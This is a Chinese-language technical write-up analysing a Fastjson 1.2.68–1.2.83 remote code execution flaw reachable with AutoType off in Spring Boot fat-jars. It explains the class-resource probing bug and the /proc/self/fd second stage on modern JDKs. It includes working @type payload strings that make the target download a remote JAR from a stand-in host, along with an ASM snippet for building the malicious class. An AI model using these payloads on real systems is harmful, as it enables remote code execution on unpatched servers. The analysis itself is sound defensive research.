Fastjson 1.2.68–1.2.83 RCE 深度解析
摘要: 一次发生在 AutoType 拒绝之前的类资源探测,如何被 Spring Boot 类加载器解释成远程 JAR 下载,又如何借助 JAR 缓存和
/proc/self/fd在现代 JDK 上继续走到类初始化。
2026 年 7 月 19 日晚,Kirill Firsov 在 X 上放出了一条很短的消息:Fastjson 1.2.83,AutoType 无需开启,不依赖目标 classpath 上的 gadget,可以直接 RCE。

这几个条件放在一起,很容易让熟悉 Fastjson 的人感到违和。
很多遗留系统停在 1.2.83,理由其实并不难理解。因为在长期和 fastjson 对抗的时间里,83 版本仅可以基于 expectClass 和第三方库构成的 gadget 做极其有限的攻击利用,几乎无法 RCE,所以很多厂家没有选择更新到 FJ2,避免增加不确定性。
所以这一条消息出来后,引发了大家的广泛讨论。

可以看出,大家讨论的问题普遍集中在:当 AutoType 仍为 false 时,攻击者提供的类为什么会进入类加载流程?
本文就从这个问题开始进行深入探索。

一、时间线与影响面
漏洞公开后的早期讨论大多围绕 1.2.83 和 JDK 8,随后 FearsOff 原始披露、阿里巴巴官方公告以及公开实验逐步补齐了现代 JDK 路径和准确影响范围。
@JSONType | ||
1.2.68–1.2.83,给出验证矩阵和修复优先级 | ||

官方公告目前给出的结论如下:
• 受影响版本为 Fastjson 1.2.68–1.2.83;• 默认的 AutoType=false仍可到达漏洞路径;• SafeMode 必须处于关闭状态; • 已验证 Spring Boot 2.x、3.x、4.x 的可执行 fat-jar; • 已验证 JDK 8、11、17、21; • Fastjson2、Fastjson 1.x 的 noneautotype构建,以及已启用 SafeMode 的实例不受该路径影响。

二、问题从哪一行代码开始
入口位于 ParserConfig.checkAutoType()。
这个方法承担的是类型信任判断:收到 JSON 里的 @type 后,结合 SafeMode、AutoType、黑白名单、期望类型等条件,决定是否允许加载对应的 Java 类。按照通常的理解,AutoType 关闭后,危险类型应该在这里被挡住。
这是 1.2.83 版本源码中最关键的一段。为了便于阅读,下面保留控制流并加上了编号注释:
boolean jsonType = false;InputStream is = null;try { // ① typeName 来自 JSON 的 @type。 // 这里先把 Java 类名改写成 classpath 资源路径。 String resource = typeName.replace('.', '/') + ".class"; if (defaultClassLoader != null) { // ② 信任判断尚未完成,类加载器已经开始查找资源。 is = defaultClassLoader.getResourceAsStream(resource); } else { is = ParserConfig.class.getClassLoader() .getResourceAsStream(resource); } if (is != null) { // ③ ASM 只解析字节码,不需要先实例化这个类。 ClassReader reader = new ClassReader(is, true); TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]); reader.accept(visitor); // ④ 被检查的字节码带有 @JSONType,就把 jsonType 置为 true。 jsonType = visitor.hasJsonType(); }} catch (Exception ignored) { // 上游代码选择忽略资源探测异常。} finally { IOUtils.close(is);}// ⑤ 即使 autoTypeSupport=false,jsonType=true 仍会进入 loadClass。if (autoTypeSupport || jsonType || expectClassFlag) { boolean cacheClass = autoTypeSupport || jsonType; clazz = TypeUtils.loadClass( typeName, defaultClassLoader, cacheClass);}
可以看出,typeName 来自用户提交的 JSON;getResourceAsStream() 接受由它派生出的资源名;资源取回后,Fastjson 再去检查字节码里是否存在 @JSONType。只要结果为真,后面的 TypeUtils.loadClass() 就会执行。
在这段逻辑里,@JSONType 承担了信任信号的角色,而这个信号恰好写在待检查的类文件里。攻击者如果能够控制类文件来源,也就能让 jsonType 变成 true 。

三、一个类名怎样变成远程 JAR 地址
Fastjson 原本只是想把 Java 类名转成 classpath 路径:
com.example.User ↓ replace('.', '/')com/example/User.class攻击者可以倒推这个替换过程,构造下面的 @type:
替换前:jar:http:..2130706433:31337.f!.Evil替换后:jar:http://2130706433:31337/f!/Evil.class其中:
• http:..经过替换变成http://;• .f变成/f;• !.Evil变成!/Evil,恰好符合 JAR entry 语法;• 2130706433是127.0.0.1的整数形式,避免 IP 中的点被替换。

字符串构造完成后,还需要一个能够解释 jar:http: 资源名的 ClassLoader。普通 AppClassLoader 通常只会在本地 classpath 中查找资源;Spring Boot 可执行 fat-jar 为加载嵌套 JAR 建立了自己的 JAR URL 处理环境,公开利用正是借助这条资源查找链访问远程 JAR。
因此,Spring Boot 可执行 fat-jar 是这条公开利用链的关键环境条件。

四、从 @JSONType 到类初始化
攻击者提供的远程 JAR 中,需要准备一个内部名与 typeName 对应、并带有 @JSONType 的类。
简化后的生成逻辑如下:[4]
// 类文件内部名与 URL 形态的 typeName 保持一致。String internalName = "jar:http://2130706433:31337/f!/Evil";ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);cw.visit( Opcodes.V1_8, Opcodes.ACC_PUBLIC, internalName, null, "java/lang/Object", null);// 让 Fastjson 的字节码检查得到 jsonType=true。cw.visitAnnotation( "Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd();// 类被初始化时执行的静态初始化方法。MethodVisitor clinit = cw.visitMethod( Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);完整路径可以简化为下面几步:
攻击者提交 @type ↓Fastjson 将类名改写成 jar:http 资源路径 ↓Spring Boot 类加载环境下载远程 JAR ↓ASM 发现远程类带有 @JSONType ↓jsonType=true,进入 TypeUtils.loadClass ↓类初始化,执行 <clinit><clinit> 的执行发生在最终 DTO 绑定之前。接口随后即使返回 ClassCastException 或 autoType is not support,也不会撤销已经发生的类初始化。

这也是为什么只看 HTTP 响应很容易误判:请求最终失败,不代表前面的字节码没有被加载。

127.0.0.1 - - [22/Jul/2026 23:44:58] "GET /favicon.ico HTTP/1.1" 404 -127.0.0.1 - - [22/Jul/2026 23:45:00] "GET /POC.class HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:45:30] "GET /probe HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:45:30] "GET /probe HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:48:01] "GET /probe HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:48:01] "GET /probe HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:59:02] "GET /probe HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:59:02] "GET /probe HTTP/1.1" 200 -五、现代 JDK 仍然可用
JDK 9 之后加强了类名校验,jar:http://... 内部名中的连续 // 会导致 defineClass() 失败。直接加载在这里被挡住,但失败发生时,远程 JAR 已经由前面的 getResourceAsStream() 下载。
研究者发现,JDK 的 JAR 缓存会让这个远程文件继续停留在 Java 进程的文件描述符中:
/proc/<PID>/fd/15 -> /tmp/jar_cacheXXXX.tmp (deleted)于是高版本利用被拆成两步:
第一步:jar:http 下载远程 JAR第二步:jar:file:/proc/self/fd/N 重新打开缓存 JAR请求中的类型大致如下:
[ { "@type": "jar:http:..artifact:18081.x!.foo.Exception" }, { "@type": "jar:file:.proc.self.fd.15!.fd15.Exception" }, { "@type": "jar:file:.proc.self.fd.16!.fd16.Exception" }]第一个元素负责下载 JAR,并借助 1.2.83 对 Exception 后缀的 failure-soft 分支继续解析。后面的元素枚举 FD;命中后,jar:file:/proc/self/fd/N 不再包含 http:// 的双斜杠,可以通过现代 JDK 的类名校验,最终加载 JAR 中带有 @JSONType 的候选类。

这里可以发现:高版本挡住了第一次类定义,却没有撤销此前完成的远程 JAR 下载。第二阶段会从残留的 FD 继续执行。

六、固定 DTO 也可能到达 @type
公开实验使用的是固定类型解析:
public final class BoundEnvelope { // 嵌套元素仍然按照 Object 处理。 private List<Object> value;}final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class);外层类型虽然固定,List<Object> 中的元素仍需要动态确定类型。Fastjson 在绑定列表元素时会处理其中的 @type,远程种子和 FD 候选就放在这里。
因此,固定 DTO 只能约束已经声明的类型结构;如果内部仍存在 Object、Map、List<Object> 等通道,前面的资源探测仍然可能发生。
七、总结
回到最初的代码,漏洞的核心并不复杂:
Fastjson 为了判断一个攻击者指定的类型是否可信,先根据攻击者指定的名字读取了类文件;随后又使用类文件中的 @JSONType 参与信任判断。
利用链中的几个组件都在执行原本的功能:
• Fastjson 把类名转换成资源路径; • Spring Boot 解析嵌套 JAR; • JDK 缓存已经打开的 JAR; • Linux 通过 /proc/self/fd暴露进程自己的文件描述符;• JVM 在类初始化时执行 <clinit>。
攻击者找到了一条能够连续穿过这些语义边界的字符串。replace('.', '/') 生成远程 URL,远程类自己提供 @JSONType,第一次加载留下的缓存又成为高版本路径的第二阶段入口。
这就是这条链的关键:问题出在检查顺序,后面的 AutoType 虽然会拒绝,但是已经来不及阻止前面发生的资源访问和类加载所导致的副作用。
参考资料
1. Alibaba / fastjson2 Wiki,官方安全公告:https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83 2. FearsOff,漏洞发现者技术原文:https://fearsoff.org/cn/research/fastjson-1-2-83-rce 3. Fastjson 1.2.83 ParserConfig.java:https://github.com/alibaba/fastjson/blob/1.2.83/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java4. dinosn,公开复现项目:https://github.com/dinosn/fastjson-jsontype-rce-lab/tree/master 5. Kirill Firsov,X 首发贴文:https://x.com/k_firsov/status/2078872293745570032 6. LoRexxar,类加载器与部署分析:https://lorexxar.cn/2026/07/21/fs1-2-83rce/
截至 2026 年 7 月 22 日,阿里巴巴官方公告未列出独立 CVE 编号。
夜雨聆风